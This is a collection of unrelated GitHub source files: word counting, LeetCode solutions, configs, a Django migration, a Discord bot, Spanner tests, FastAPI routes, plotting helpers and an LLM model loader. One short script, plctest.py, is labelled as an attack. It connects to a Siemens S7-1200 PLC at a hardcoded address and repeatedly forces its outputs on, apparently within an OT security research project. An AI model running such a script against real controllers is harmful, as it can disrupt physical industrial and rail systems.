'cleaned_data.txt',)\n\n#opens a text file (in the same dir), read \nwith open('kalemat.txt', 'r') as file:\n input_string = file.read().rstrip()\n string =input_string.split(\" \")\n\nword_list = input_string.split()\nnew = []\n\n#adds only words to the list, ensures no repition\nfor word in word_list:\n if word.isalpha() == False:\n new.append(word[:-1])\n else:\n new.append(word)\n\nfrom collections import Counter\n\nprint(\"=\"*65) \n\nprint(Counter(new))\n\nprint(\"*\"*65) \n\n#create csv file with output in proper format using pandas library - in the same dir\nimport pandas as pd\npd.DataFrame(Counter(new).most_common(), columns=[\"item\", \"count\"]).to_csv(\"./myfile.csv\")\n\n\n\n","repo_name":"MXAYMxF/WordCounter","sub_path":"PyCountingWords.py","file_name":"PyCountingWords.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9609738708","text":"nums = [3,0,0]\n\niTrack=[]\nl=len(nums)\n# maxV=0\nfor i in range(l-1):\n # t=\n if nums[i]==0:\n iTrack.append(i)\n # if t>maxV:\n # maxV=t\n\nif not iTrack:\n print (True)\n\nfor index in iTrack:\n find=False\n i=index-1\n while i>=0 :\n if (i+nums[i])>(index):\n find=True\n break\n i-=1\n if not find:\n print (False)\nelse:\n print (True)","repo_name":"pranjay01/leetcode_python","sub_path":"JumpGame.py","file_name":"JumpGame.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74390455877","text":"'''\nIn English, we have a concept called root, which can be followed by some other word to form another longer word - let's call this word successor. For example, when the root \"an\" is followed by the successor word \"other\", we can form a new word \"another\".\n\nGiven a dictionary consisting of many roots and a sentence consisting of words separated by spaces, replace all the successors in the sentence with the root forming it. If a successor can be replaced by more than one root, replace it with the root that has the shortest length.\n\nReturn the sentence after the replacement.\n\n \n\nExample 1:\n\nInput: dictionary = [\"cat\",\"bat\",\"rat\"], sentence = \"the cattle was rattled by the battery\"\nOutput: \"the cat was rat by the bat\"\nExample 2:\n\nInput: dictionary = [\"a\",\"b\",\"c\"], sentence = \"aadsfasf absbs bbab cadsfafs\"\nOutput: \"a a b c\"\n \n\nConstraints:\n\n1 <= dictionary.length <= 1000\n1 <= dictionary[i].length <= 100\ndictionary[i] consists of only lower-case letters.\n1 <= sentence.length <= 106\nsentence consists of only lower-case letters and spaces.\nThe number of words in sentence is in the range [1, 1000]\nThe length of each word in sentence is in the range [1, 1000]\nEvery two consecutive words in sentence will be separated by exactly one space.\nsentence does not have leading or trailing spaces.\n'''\n\n\n# https://leetcode.com/problems/replace-words/solution/\n'''\nApproach #1: Prefix Hash [Accepted]\nIntuition\nFor each word in the sentence, we'll look at successive prefixes and see if we saw them before.\n\nAlgorithm\nStore all the roots in a Set structure. \nThen for each word, look at successive prefixes of that word. \nIf you find a prefix that is a root, replace the word with that prefix. \nOtherwise, the prefix will just be the word itself, and we should add that to the final sentence answer.\n'''\n# TC: O(sum(n2))\n# SC: O(n)\n\nclass Solution:\n def replaceWords(self, dictionary: List[str], sentence: str) -> str:\n rootset = set(dictionary)\n\n def replace(word):\n for i in range(1, len(word)):\n if word[:i] in rootset:\n return word[:i]\n return word\n\n return \" \".join(map(replace, sentence.split()))\n \n \n \n############################################################################\n# TRIE\n# TC: O(n)\n# SC: O(n)\n\n'''\nIntuition and Algorithm:\nPut all the roots in a trie (prefix tree). \nThen for any query word, we can find the smallest root that was a prefix in linear time.\n'''\n\nclass Solution(object):\n def replaceWords(self, roots, sentence):\n Trie = lambda: collections.defaultdict(Trie)\n trie = Trie()\n END = True\n\n for root in roots:\n reduce(dict.__getitem__, root, trie)[END] = root\n\n def replace(word):\n cur = trie\n for letter in word:\n if letter not in cur or END in cur: break\n cur = cur[letter]\n return cur.get(END, word)\n\n return \" \".join(map(replace, sentence.split()))\n","repo_name":"algoslearner/leetcode","sub_path":"companies/fb/leetcode/medium/LEVEL3/88_replace_words.py","file_name":"88_replace_words.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"3752734459","text":"# In order to work, this module must be executed in an environment with the environment variables referenced set.\n# use source env in this directory.\n# If you dont have any env files, ask for one they are not in VCS\nimport json\nimport logging\nimport os\nimport sys\n\nNATS_CONFIG = {\n \"servers\": [os.environ[\"NATS_SERVER1\"]],\n \"subscriber\": {\"pending_limits\": 65536},\n \"multiplier\": 5,\n \"min\": 5,\n \"stop_delay\": 300,\n \"reconnects\": 150,\n}\n\nCURRENT_ENVIRONMENT = os.environ[\"CURRENT_ENVIRONMENT\"]\nENVIRONMENT_NAME = os.environ[\"ENVIRONMENT_NAME\"]\n\nTIMEZONE = os.environ[\"TIMEZONE\"]\n\nPRODUCT_CATEGORY = os.environ[\"MONITORED_PRODUCT_CATEGORY\"]\n\nTNBA_FEEDBACK_CONFIG = {\n \"monitoring_interval_seconds\": int(os.environ[\"FEEDBACK_JOB_INTERVAL\"]),\n \"semaphore\": 1,\n \"redis_ttl\": int(os.environ[\"GRACE_PERIOD_BEFORE_RESENDING_TICKETS\"]),\n \"velo_filter\": {host: [] for host in json.loads(os.environ[\"MONITORED_VELOCLOUD_HOSTS\"])},\n}\n\nLOG_CONFIG = {\n \"name\": \"tnba-feedback\",\n \"level\": logging.DEBUG,\n \"stream_handler\": logging.StreamHandler(sys.stdout),\n \"format\": f\"%(asctime)s: {ENVIRONMENT_NAME}: %(hostname)s: %(module)s::%(lineno)d %(levelname)s: %(message)s\",\n \"papertrail\": {\n \"active\": os.environ[\"PAPERTRAIL_ACTIVE\"] == \"true\",\n \"prefix\": os.getenv(\"PAPERTRAIL_PREFIX\", f\"{ENVIRONMENT_NAME}-tnba-feedback\"),\n \"host\": os.environ[\"PAPERTRAIL_HOST\"],\n \"port\": int(os.environ[\"PAPERTRAIL_PORT\"]),\n },\n}\n\nQUART_CONFIG = {\"title\": \"tnba-feedback\", \"port\": 5000}\n\nREDIS = {\"host\": os.environ[\"REDIS_HOSTNAME\"]}\n\nREDIS_TNBA_FEEDBACK = {\"host\": os.environ[\"REDIS_TNBA_FEEDBACK_HOSTNAME\"]}\n\nMETRICS_SERVER_CONFIG = {\"port\": 9090}\n","repo_name":"Bruin-Dev/Intelygenz","sub_path":"services/tnba-feedback/src/config/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20312864201","text":"from importlib import import_module\n\nfrom .. import hooks\nfrom ..conf import settings\nfrom .htmlparser import parse_html_string, print_html_string\n\n\nclass MarkupPipeline:\n \"\"\"small framework for extending parser\"\"\"\n\n def extend_markdown(self, md):\n for extension in settings.MISAGO_MARKUP_EXTENSIONS:\n module = import_module(extension)\n if hasattr(module, \"extend_markdown\"):\n hook = getattr(module, \"extend_markdown\")\n hook.extend_markdown(md)\n\n for extension in hooks.markdown_extensions:\n extension(md)\n\n return md\n\n def process_result(self, result):\n if (\n not settings.MISAGO_MARKUP_EXTENSIONS\n and not hooks.parsing_result_processors\n ):\n return result\n\n html_tree = parse_html_string(result[\"parsed_text\"])\n for extension in settings.MISAGO_MARKUP_EXTENSIONS:\n module = import_module(extension)\n if hasattr(module, \"clean_parsed\"):\n hook = getattr(module, \"clean_parsed\")\n hook.process_result(result, html_tree)\n\n for extension in hooks.parsing_result_processors:\n extension(result, html_tree)\n\n result[\"parsed_text\"] = print_html_string(html_tree)\n return result\n\n\npipeline = MarkupPipeline()\n","repo_name":"rafalp/Misago","sub_path":"misago/markup/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":2396,"dataset":"github-code","pt":"62"} +{"seq_id":"8706705711","text":"import sqlite3\nfrom data.update_table import update\n\n\nclass Word:\n en:str\n ru:str\n total:int\n success:int\n coef:int\n def __init__(self,en,ru,total,success,coef):\n self.en = en\n self.ru = ru\n self.total = total\n self.success = success\n self.coef = coef\n def __str__(self):\n return 'Ваше слово - '+self.en+', перевод: '+self.ru + ' total ' + str(self.total) + ' successful ' + str(self.success)+' coef ' + str(self.coef)\n\nclass Dictionary:\n\n words: list[Word]\n words_copy: list[Word]\n tag: str\n def __init__(self,count:int, name:str, id:int, tag:str):\n db=sqlite3.connect(name)\n sql = db.cursor()\n self.words = []\n self.tag = tag\n select=sql.execute(f'SELECT en,ru,total,successful,coef FROM words WHERE user_id = {id} AND tag LIKE \"{tag}\" ORDER BY coef ASC')\n\n for i in range(count):\n word=select.fetchone()\n if word is not None:\n self.words.append(Word(word[0],word[1],word[2],word[3],word[4]))\n self.words_copy = self.words.copy()\n sql.close()\n db.close()\n\n def __str__(self):\n ans=''\n for i in range(len(self.words)):\n ans+=str(self.words[i])\n ans+=' , '\n return ans\n\n def __call__(self):\n i=-1\n while len(self.words)>0:\n i= (i+1)%len(self.words)\n yield self.words[i]\n\n def delete_word(self, ru:str):\n for i in range(len(self.words)):\n if self.words[i].ru == ru:\n del self.words[i]\n return\n return\n\n def update(self, name, id, rat_dif):\n db = sqlite3.connect(name)\n sql = db.cursor()\n for i in range(len(self.words_copy)):\n word_i= self.words_copy[i]\n print(f'UPDATE words SET total = {word_i.total}, successful = {word_i.success}, '\n f'date = DATE(\"now\", \"localtime\") WHERE en = \"{word_i.en}\" AND user_id={id}')\n sql.execute(f'UPDATE words SET total = {word_i.total}, successful = {word_i.success}, '\n f'date = DATE(\"now\", \"localtime\") WHERE en = \"{word_i.en}\" AND user_id={id}')\n sql.execute(f'UPDATE users SET rating=rating+{rat_dif}')\n db.commit()\n sql.close()\n db.close()\n update('data/words.db')\n","repo_name":"KolyaYashin/VocabBotAiogram","sub_path":"classes/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9937889117","text":"from __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport localflavor.generic.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('auth', '0006_require_contenttypes_0002'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('user', models.OneToOneField(primary_key=True, serialize=False, to=settings.AUTH_USER_MODEL, related_name='profile', on_delete=models.CASCADE)),\n ('iban', localflavor.generic.models.IBANField(max_length=34)),\n ],\n ),\n ]\n","repo_name":"defivelo/db","sub_path":"apps/user/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"12259725050","text":"import S7PLC1200\nfrom time import sleep\nimport snap7\nfrom snap7.util import *\nimport struct\nprint(\"Start to try to attack the PLC\")\nprint(\"Try to connect to the PLC\")\nplc = S7PLC1200.S7PLC1200(\"192.168.10.73\")\ntoggle = True\n\nfor _ in range(50):\n plc.writeMem('QX0.1',True) # write Q0.0 to be true, which will only turn on the output if it isn't connected to any rung in your ladder code\n sleep(0.5)\n plc.writeMem('QX0.0',True) # write Q0.0 to be true, which will only turn on the output if it isn't connected to any rung in your ladder code\n sleep(0.5)\n print(plc.getMem('QX0.0')) # read memory bit M0.1\n print(plc.getMem('QX0.1')) # read memory bit M0.1\n #print(plc.getMem('MX0.1')) # read memory bit M0.1\n #print(plc.getMem('IX0.1')) # read input bit I0.0\n #print(plc.getMem(\"FREAL100\"))# read real from MD100\n #print(plc.getMem(\"MW20\"))# read int word from MW20\n #print(plc.getMem(\"MB24\",254))# write to MB24 the value 254\n toggle = not toggle\n\nplc.plc.disconnect()","repo_name":"LiuYuancheng/Railway_Control-OT-Cyber-Attack","sub_path":"attack/plctest.py","file_name":"plctest.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"62"} +{"seq_id":"34348582037","text":"from discord.ext import commands\r\nimport discord\r\n\r\n\r\nclass Samuel(commands.Cog):\r\n \"\"\"LOJAS\"\"\"\r\n\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.command(name=\"Samuel\")\r\n async def ficha_player(self, ctx):\r\n url_image = \"https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/f/a7564bda-842b-4b8e-a21b-27dab68a6ac6/dc12d5f-1b1f4c08-e847-4ed3-b61b-0a19bdc69388.png/v1/fill/w_234,h_350,strp/fiery_sauron_by_kaprriss_dc12d5f-350t.png?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1cm46YXBwOjdlMGQxODg5ODIyNjQzNzNhNWYwZDQxNWVhMGQyNmUwIiwiaXNzIjoidXJuOmFwcDo3ZTBkMTg4OTgyMjY0MzczYTVmMGQ0MTVlYTBkMjZlMCIsIm9iaiI6W1t7ImhlaWdodCI6Ijw9MTUwMCIsInBhdGgiOiJcL2ZcL2E3NTY0YmRhLTg0MmItNGI4ZS1hMjFiLTI3ZGFiNjhhNmFjNlwvZGMxMmQ1Zi0xYjFmNGMwOC1lODQ3LTRlZDMtYjYxYi0wYTE5YmRjNjkzODgucG5nIiwid2lkdGgiOiI8PTEwMDMifV1dLCJhdWQiOlsidXJuOnNlcnZpY2U6aW1hZ2Uub3BlcmF0aW9ucyJdfQ.u5igQmA_NsyjQthWn6PIuzjNgBQIJQckdpdvjUumqf0\"\r\n\r\n embed = discord.Embed(\r\n title=\"Samuel \",\r\n description=\"Emperador das Chamas\",\r\n color=0xf08000)\r\n\r\n embed.set_author(\r\n name=self.bot.user.name,\r\n icon_url=\"https://i.pinimg.com/564x/6a/7f/44/6a7f445d17da5674f089a2d4219e7071.jpg\")\r\n\r\n embed.set_footer(\r\n text=\"Personagem do Samuel\",\r\n icon_url=self.bot.user.avatar_url)\r\n\r\n embed.set_image(url=url_image)\r\n\r\n embed.add_field(\r\n name=\"Idade\",\r\n value=\"18\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Força \",\r\n value=\"51\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Velocidade \",\r\n value=\"44\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Luta\",\r\n value=\"60\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Inteligência\",\r\n value=\"47\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Mirar\",\r\n value=\"57\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Percepção\",\r\n value=\"2\",\r\n inline=True)\r\n\r\n embed.add_field(\r\n name=\"Magia\",\r\n value=\"Manipular Fogo\",\r\n inline=False)\r\n\r\n await ctx.send(embed=embed)\r\n\r\n\r\ndef setup(bot):\r\n bot.add_cog(Samuel(bot))\r\n","repo_name":"Guilhermemoreiradesouza/Discord_RPG_Bot","sub_path":"commands/Players/Samuel.py","file_name":"Samuel.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34668076098","text":"# Задача №43. Решение в группах\n# Дан список чисел. Посчитайте, сколько в нем пар\n# элементов, равных друг другу. Считается, что любые\n# два элемента, равные друг другу образуют одну пару,\n# которую необходимо посчитать. Вводится список\n# чисел. Все числа списка находятся на разных\n# строках.\n\ndef list_creator(x):\n array = []\n for i in range(0, x):\n array.append(int(input(f\"Введите {i+1}-й элемент списка из {x} элементов: \")))\n return array\n\ndef CountPairsInArray (array):\n count = 0\n for i in range(len(array)-1):\n for j in range (i+1, len(array)):\n if array[i] == array[j]:\n count +=1\n return count\n\nn = int(input('Введите количество элементов N в массиве: '))\nlist_1 = list_creator(n)\nprint(list_1)\namount = CountPairsInArray (list_1)\nprint(f\"Количество пар в массиве равно {amount}\")\n\n\n# list1 = [int(i) for i in input(\"Введите список целых чисел через пробел \").split()]\n# dict1 = dict()\n# dict2 = dict()\n# for i in list1:\n# if i not in dict1:\n# dict1.update({i: 1})\n# else:\n# dict1[i] = dict1.get(i) + 1\n# for i in dict1.keys():\n# dict2.update({i: ((dict1.get(i) - 1) * (dict1.get(i))) // 2})\n# print(sum(dict2.values()))\n# # ((n-1) * n)/2\n# # 4\n# # (n)! / ((n-2)! * 2)\n\n# string = input('Введите элементы списка через пробел -> ').split()\n# dict = {}\n# for i in string:\n# if i in dict:\n# dict[i] += 1 \n# else:\n# dict[i] = 1\n\n# counter = 0\n# for key, val in dict.items():\n# counter += ((val)*(val-1))//2 \n# print(counter)\n\n\n","repo_name":"666Racer/PythonSem","sub_path":"Sem6/TaskPy21.py","file_name":"TaskPy21.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41930503054","text":"import uuid\n\nfrom google.api_core.exceptions import Aborted\nfrom google.cloud import spanner\nimport pytest\nfrom test_utils.retry import RetryErrors\n\nimport autocommit\n\n\ndef unique_instance_id():\n \"\"\"Creates a unique id for the database.\"\"\"\n return f\"test-instance-{uuid.uuid4().hex[:10]}\"\n\n\ndef unique_database_id():\n \"\"\"Creates a unique id for the database.\"\"\"\n return f\"test-db-{uuid.uuid4().hex[:10]}\"\n\n\nINSTANCE_ID = unique_instance_id()\nDATABASE_ID = unique_database_id()\n\n\n@pytest.fixture(scope=\"module\")\ndef spanner_instance():\n spanner_client = spanner.Client()\n config_name = f\"{spanner_client.project_name}/instanceConfigs/regional-us-central1\"\n\n instance = spanner_client.instance(INSTANCE_ID, config_name)\n op = instance.create()\n op.result(120) # block until completion\n yield instance\n instance.delete()\n\n\n@pytest.fixture(scope=\"module\")\ndef database(spanner_instance):\n \"\"\"Creates a temporary database that is removed after testing.\"\"\"\n db = spanner_instance.database(DATABASE_ID)\n db.create()\n yield db\n db.drop()\n\n\n@RetryErrors(exception=Aborted, max_tries=2)\ndef test_enable_autocommit_mode(capsys, database):\n # Delete table if it exists for retry attempts.\n table = database.table('Singers')\n if table.exists():\n op = database.update_ddl([\"DROP TABLE Singers\"])\n op.result()\n\n autocommit.enable_autocommit_mode(INSTANCE_ID, DATABASE_ID)\n out, _ = capsys.readouterr()\n assert \"Autocommit mode is enabled.\" in out\n assert \"SingerId: 13, AlbumId: Russell, AlbumTitle: Morales\" in out\n","repo_name":"muralikrishna-gt/capacity-api","sub_path":"samples/samples/autocommit_test.py","file_name":"autocommit_test.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"697026268","text":"from fastapi import FastAPI\nfrom api.v1.endpoints import message, group, registration, event\nfrom core.models import database\n\n# metadata.create_all(engine)\n\napp = FastAPI()\n\n\n@app.on_event(\"startup\")\nasync def startup():\n await database.connect()\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown():\n await database.disconnect()\n\napp.include_router(message.router, prefix=\"/message\", tags=[\"message\"])\napp.include_router(group.router, prefix=\"/group\", tags=[\"group\"])\napp.include_router(event.router, prefix=\"/event\", tags=[\"event\"])\napp.include_router(registration.router, prefix=\"/registration\",\n tags=[\"registration\"])\n\n\n","repo_name":"Lebedev-Anton/test_fast_api_messenger","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19786864219","text":"\"\"\"Utility classes and methods to help with matplotlib & pandas plotting.\"\"\"\nfrom collections import namedtuple\nimport math\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nPalette = namedtuple('Palette', ('black', 'red', 'blue', 'green'))\nCOLOURS = Palette('#333333', '#c64d50', '#15438a', '#52a966')\n\n\nclass SIOrderFormatter(matplotlib.ticker.ScalarFormatter):\n \"\"\"If an exponent is shown, only show it in multiple-of-3 orders.\n\n If the normal ScalarFormatter would display 10^5, this shows 10^3.\n If normally 10^11, then use 10^9, etc.\n The reason for this is that multiple-of-3 orders are used for the SI\n prefixes, e.g. 50x10^3 MeV is more common, and more readable, than\n 5x10^5 MeV.\n Inspired by https://stackoverflow.com/questions/3677368.\n \"\"\"\n def _set_orderOfMagnitude(self, range):\n matplotlib.ticker.ScalarFormatter._set_orderOfMagnitude(self, range)\n self.orderOfMagnitude = 3*int(math.floor(self.orderOfMagnitude/3))\n\n\nclass Feature(object):\n \"\"\"Container class for a feature (variable).\"\"\"\n def __init__(self, name, title, unit=None, transform=None):\n \"\"\"Initialise a Feature object.\n\n Keyword arguments:\n name -- Name of the feature in a DataFrame\n title -- Display name\n unit -- Physical unit of the feature (default: None)\n transform -- Function to apply to feature when loading from DataFrame\n \"\"\"\n self.name = name\n self.title = title\n self.unit = unit\n self.transform = transform\n\n def from_dataframe(self, df):\n if self.transform:\n return self.transform(df[self.name])\n else:\n return df[self.name]\n\ndef add_si_formatter(ax, xaxis=True, yaxis=True):\n fmt = SIOrderFormatter(useOffset=False)\n fmt.set_powerlimits((-3, 3))\n if xaxis:\n ax.get_xaxis().set_major_formatter(fmt)\n if yaxis:\n ax.get_yaxis().set_major_formatter(fmt)\n\n\ndef default_figsize():\n \"\"\"Return the default figure size, as defined by MPL's rcParams\"\"\"\n return plt.rcParams['figure.figsize']\n\n\ndef pi_label(a=1, b=1):\n \"\"\"Return a LaTeX label of a*pi/b.\"\"\"\n if a == 0:\n return '0'\n\n sign = '-' if np.sign(a)*np.sign(b) == -1 else ''\n a = np.abs(a)\n b = np.abs(b)\n if a == 1 and b == 1:\n val = r'\\pi'\n elif a == 1:\n val = r'\\frac{{\\pi}}{{{0}}}'.format(b)\n elif b == 1:\n val = r'{0}\\pi'.format(a)\n else:\n val = r'\\frac{{{0}\\pi}}{{{1}}}'.format(a, b)\n return r'${0}{1}$'.format(sign, val)\n\n\ndef pi_axis(ax, fractions):\n \"\"\"Label Axis with fractions of pi, defined by fraction 2-tuples.\"\"\"\n values = [a*np.pi/b for a, b in fractions]\n labels = [pi_label(*fraction) for fraction in fractions]\n try:\n ax.set_ticks(values)\n ax.set_ticklabels(labels)\n except AttributeError:\n # AxesSubplot objects have different method names\n ax.set_xticks(values)\n ax.set_xticklabels(labels)\n\n\ndef set_axis_labels(ax, mode):\n ax.set_ylabel(r'Candidates / ($1\\,\\mathrm{MeV}/c^{2}$)')\n if mode == 'D0ToKpi':\n ax.set_xlabel(r'$m(K^{-}\\pi^{+})$ [$\\mathrm{MeV}/c^{2}$]')\n elif mode == 'DpToKpipi':\n ax.set_xlabel(r'$m(K^{-}\\pi^{+}\\pi^{+})$ [$\\mathrm{MeV}/c^{2}$]')\n elif mode == 'DsToKKpi':\n ax.set_xlabel(r'$m(K^{-}K^{+}\\pi^{+})$ [$\\mathrm{MeV}/c^{2}$]')\n","repo_name":"alexpearce/thesis","sub_path":"scripts/plotting_utilities.py","file_name":"plotting_utilities.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"38176247595","text":"# This is the linked list cycle problem \n\n# check whether or not the linked list contains a cycle \n# if the cycle exist, return true \n# else return false\n\n# a cycle means that at least one node can be reached by a next pointer \n\n# Ex: 2 -> 4 -> 6 -> 8 -> 10 -> 4 // cycles back to 4\n# Ex: 2 -> 4 -> 6 -> 8 -> 10 -> null // returns false\n\n# steps to solve problem:\n\n# intialize a fast and slow pointer \n# move the slow pointer once, the fast pointer twice \n# if they point to the same node -> true \n# else return false \n\nfrom linked_list import LinkedList\nfrom print_list import *\n\ndef detect_cycle(head):\n if head is None:\n return False\n\n slow, fast = head, head\n \n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n \n if slow == fast:\n return True\n \n return False\n\n","repo_name":"HububPlaya/Python","sub_path":"coding_problems/Linked_list_cycle/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20903004305","text":"import os\nimport torch\nfrom typing import Literal, Optional, Tuple\n\nfrom transformers import (\n AutoConfig,\n AutoModelForCausalLM,\n AutoTokenizer,\n BitsAndBytesConfig\n)\nfrom transformers.utils import check_min_version\nfrom transformers.utils.versions import require_version\nfrom transformers.deepspeed import is_deepspeed_zero3_enabled\nfrom transformers.modeling_utils import PretrainedConfig, PreTrainedModel\nfrom transformers.tokenization_utils import PreTrainedTokenizerBase\nfrom trl import AutoModelForCausalLMWithValueHead\n\nfrom llmtuner.extras.logging import get_logger\nfrom llmtuner.extras.misc import prepare_model_for_training, print_trainable_params\nfrom llmtuner.extras.save_and_load import load_valuehead_params\nfrom llmtuner.hparams import ModelArguments, FinetuningArguments\nfrom llmtuner.tuner.core.adapter import init_adapter\n\n\nlogger = get_logger(__name__)\n\n\ncheck_min_version(\"4.29.1\")\nrequire_version(\"datasets>=2.12.0\", \"To fix: pip install datasets>=2.12.0\")\nrequire_version(\"accelerate>=0.21.0\", \"To fix: pip install accelerate>=0.21.0\")\nrequire_version(\"peft>=0.4.0\", \"To fix: pip install peft>=0.4.0\")\nrequire_version(\"trl>=0.4.7\", \"To fix: pip install trl>=0.4.7\")\n\n\ndef load_model_and_tokenizer(\n model_args: ModelArguments,\n finetuning_args: FinetuningArguments,\n is_trainable: Optional[bool] = False,\n stage: Optional[Literal[\"pt\", \"sft\", \"rm\", \"ppo\"]] = \"sft\"\n) -> Tuple[PreTrainedModel, PreTrainedTokenizerBase]:\n r\"\"\"\n Loads pretrained model and tokenizer.\n\n Support both training and inference.\n \"\"\"\n if (not is_trainable) and model_args.checkpoint_dir is None:\n logger.warning(\"Checkpoint is not found at evaluation, load the original model.\")\n finetuning_args = FinetuningArguments(finetuning_type=\"none\")\n\n assert stage in [\"pt\", \"sft\"] or finetuning_args.finetuning_type == \"lora\", \\\n \"RM and PPO training can only be performed with the LoRA method.\"\n\n config_kwargs = {\n \"trust_remote_code\": True,\n \"cache_dir\": model_args.cache_dir,\n \"revision\": model_args.model_revision,\n \"use_auth_token\": True if model_args.use_auth_token else None,\n }\n\n tokenizer = AutoTokenizer.from_pretrained(\n model_args.model_name_or_path,\n use_fast=model_args.use_fast_tokenizer,\n padding_side=model_args.padding_side,\n **config_kwargs\n )\n if tokenizer.pad_token_id is None or tokenizer.pad_token_id == 64000: # 64000 for baichuan model (older version)\n tokenizer.pad_token_id = 0 # set as the token\n\n config = AutoConfig.from_pretrained(model_args.model_name_or_path, **config_kwargs)\n is_mergeable = True\n\n # Quantization configurations (using bitsandbytes library).\n if model_args.quantization_bit is not None:\n if model_args.quantization_bit == 8:\n require_version(\"bitsandbytes>=0.37.0\", \"To fix: pip install bitsandbytes>=0.37.0\")\n config_kwargs[\"load_in_8bit\"] = True\n config_kwargs[\"quantization_config\"] = BitsAndBytesConfig(\n load_in_8bit=True,\n llm_int8_threshold=6.0\n )\n\n elif model_args.quantization_bit == 4:\n require_version(\"bitsandbytes>=0.39.0\", \"To fix: pip install bitsandbytes>=0.39.0\")\n config_kwargs[\"load_in_4bit\"] = True\n config_kwargs[\"quantization_config\"] = BitsAndBytesConfig(\n load_in_4bit=True,\n bnb_4bit_compute_dtype=model_args.compute_dtype,\n bnb_4bit_use_double_quant=model_args.double_quantization,\n bnb_4bit_quant_type=model_args.quantization_type\n )\n\n is_mergeable = False\n config_kwargs[\"device_map\"] = {\"\": int(os.environ.get(\"LOCAL_RANK\", \"0\"))}\n logger.info(\"Quantizing model to {} bit.\".format(model_args.quantization_bit))\n\n if not is_trainable: # `device_map=auto` should be used for inference only\n config_kwargs[\"device_map\"] = \"auto\"\n\n if model_args.checkpoint_dir is not None and finetuning_args.finetuning_type == \"full\":\n model_to_load = model_args.checkpoint_dir[0]\n else:\n model_to_load = model_args.model_name_or_path\n\n # Load and prepare pretrained models (without valuehead).\n model = AutoModelForCausalLM.from_pretrained(\n model_to_load,\n config=config,\n torch_dtype=torch.bfloat16 if model_args.compute_dtype == torch.bfloat16 else torch.float16,\n low_cpu_mem_usage=(not is_deepspeed_zero3_enabled()),\n **config_kwargs\n )\n\n # Register auto class to save the custom code files.\n if isinstance(config, PretrainedConfig) and \"AutoConfig\" in getattr(config, \"auto_map\", {}):\n config.__class__.register_for_auto_class()\n if isinstance(model, PreTrainedModel) and \"AutoModelForCausalLM\" in getattr(config, \"auto_map\", {}):\n model.__class__.register_for_auto_class()\n if isinstance(tokenizer, PreTrainedTokenizerBase) and \"AutoTokenizer\" in tokenizer.init_kwargs.get(\"auto_map\", {}):\n tokenizer.__class__.register_for_auto_class()\n\n # Initialize adapters\n model = prepare_model_for_training(model, finetuning_args.finetuning_type) if is_trainable else model\n model = init_adapter(model, model_args, finetuning_args, is_trainable, is_mergeable)\n\n if stage == \"rm\" or stage == \"ppo\": # add value head\n model = AutoModelForCausalLMWithValueHead.from_pretrained(model)\n\n if stage == \"rm\" and model_args.checkpoint_dir is not None: # load valuehead weights to evaluate reward model\n logger.warning(\"Only the last checkpoint containing valuehead will be loaded as the valuehead.\")\n if load_valuehead_params(model, model_args.checkpoint_dir[-1]):\n model.v_head.load_state_dict({\n \"summary.weight\": getattr(model, \"reward_head_weight\"),\n \"summary.bias\": getattr(model, \"reward_head_bias\")\n })\n\n if stage == \"ppo\": # load reward model\n assert is_trainable, \"PPO stage cannot be performed at evaluation.\"\n assert model_args.reward_model is not None, \"Reward model is necessary for PPO training.\"\n logger.info(\"Load reward model from {}\".format(model_args.reward_model))\n model.pretrained_model.load_adapter(model_args.reward_model, \"reward\", is_trainable=False)\n assert load_valuehead_params(model, model_args.reward_model), \"Reward model is not correctly loaded.\"\n\n 